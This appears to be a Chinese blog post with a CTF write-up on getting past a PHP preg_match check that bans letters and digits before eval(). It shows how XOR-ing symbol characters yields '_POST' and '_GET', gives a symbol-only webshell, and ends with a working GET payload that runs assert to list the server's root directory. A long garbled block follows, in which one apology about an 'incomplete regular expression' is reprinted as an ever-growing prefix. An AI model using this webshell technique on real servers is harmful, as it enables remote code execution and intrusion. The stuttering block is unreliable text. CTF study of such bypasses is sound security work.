preg_match详解

<?php
$shell=">";
	if(!preg_match("/[a-zA-Z0-9_$@]+/",$shell)){
	echo "1";}else{
	echo "0";}
?>

shell的值没有在正则表达式中,返回为0,但是前面还有一个!,所以就变成了真输出为1

if 语句嵌套
以下情况均属于 if 结构嵌套。
if 语句体中可以含有 if 语句或 if-else 语句。
if-else 语句中的 if 体或者 else 体中含有 if 语句或 if-else 语句。

注意:
1)在嵌套结构中会有多个“if”与多个“else”关键词,每一个“else”都应有对应的“if”相配对。原则:“else”与其前面最近的还未配对的“if”相配对。

2)配对的 if-else 语句可以看成一条简单语句。

3)一条 if 语句也可以看成一条简单语句。

绕过不是英文字母,不是数字的验证。

preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] ) : int

preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。

正文

题目源码

<?php
error_reporting(0);
if(isset($_GET['code'])){
        $code=$_GET['code'];
            if(strlen($code)>40){
                    die("This is too Long.");
                    }
            if(preg_match("/[A-Za-z0-9]+/",$code)){
                    die("NO.");
                    }
            @eval($code);
}
else{
        highlight_file(__FILE__);
}
highlight_file(__FILE);
// ?>

 
 
  • 可以看到这段代码中,要求而传入的参数不能带有数字和英文字母,

    要是用非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数,然后执行这个函数getshell

    如何构造

    在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

    <?php
        echo "A"^"?";
    ?>
    
       
       

      KSYz01.png

      A的ASCII值是65,对应的二进制值是01000001

      ?的ASCII值是63,对应的二进制值是00111111

      异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值就是~了

      以此可以构造webshell

      <?php
      @$_++; //$_=NULL=0  $_++=1
      $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //_POST
      ${$__}[!$_](${$__}[$_]);     // $_POST[0]($_POST[1]);
      ?>
      
         
         
      • 为了节省字符长度,这里字符可以一起异或使用

        <?php
        var_dump("#./|{"^"|~`//"); //_POST
        var_dump("`{{{"^"?<>/"); //_GET
        ?>
        
             
             
        • 1
        • 2
        • 3
        • 4

        最终payload

        ?code=$_="`{
              
              {
              
              {"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=print_r(`scandir`('/'))
        
             
             
        • 1

        KSUmJf.png

        参考文章

        参考文章

    • 0
      点赞
    • 4
      收藏
      觉得还不错? 一键收藏
    • 0
      评论
    抱抱歉抱歉,抱歉,这抱歉,这是抱歉,这是一个抱歉,这是一个不抱歉,这是一个不完抱歉,这是一个不完整抱歉,这是一个不完整的抱歉,这是一个不完整的正抱歉,这是一个不完整的正则抱歉,这是一个不完整的正则表抱歉,这是一个不完整的正则表达抱歉,这是一个不完整的正则表达式抱歉,这是一个不完整的正则表达式。抱歉,这是一个不完整的正则表达式。它抱歉,这是一个不完整的正则表达式。它需要抱歉,这是一个不完整的正则表达式。它需要另抱歉,这是一个不完整的正则表达式。它需要另外抱歉,这是一个不完整的正则表达式。它需要另外的抱歉,这是一个不完整的正则表达式。它需要另外的字符抱歉,这是一个不完整的正则表达式。它需要另外的字符和抱歉,这是一个不完整的正则表达式。它需要另外的字符和结抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更多抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更多的抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更多的信息抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更多的信息或抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更多的信息或完抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更多的信息或完整抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更多的信息或完整的抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更多的信息或完整的正抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更多的信息或完整的正则抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更多的信息或完整的正则表抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更多的信息或完整的正则表达抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更多的信息或完整的正则表达式抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更多的信息或完整的正则表达式才抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更多的信息或完整的正则表达式才能抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更多的信息或完整的正则表达式才能回抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更多的信息或完整的正则表达式才能回答抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更多的信息或完整的正则表达式才能回答这抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更多的信息或完整的正则表达式才能回答这个抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更多的信息或完整的正则表达式才能回答这个问题抱歉,这是一个不完整的正则表达式。它需要另外的字符和结尾标记才能获得有效的匹配模式。需要提供更多的信息或完整的正则表达式才能回答这个问题。

    “相关推荐”对你有帮助么?

    • 非常没帮助
    • 没帮助
    • 一般
    • 有帮助
    • 非常有帮助
    提交
    评论
    添加红包

    请填写红包祝福语或标题

    红包个数最小为10个

    红包金额最低5元

    当前余额3.43前往充值 >
    需支付:10.00
    成就一亿技术人!
    领取后你会自动成为博主和红包主的粉丝 规则
    hope_wisdom
    发出的红包
    实付
    使用余额支付
    点击重新获取
    扫码支付
    钱包余额 0

    抵扣说明:

    1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
    2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

    余额充值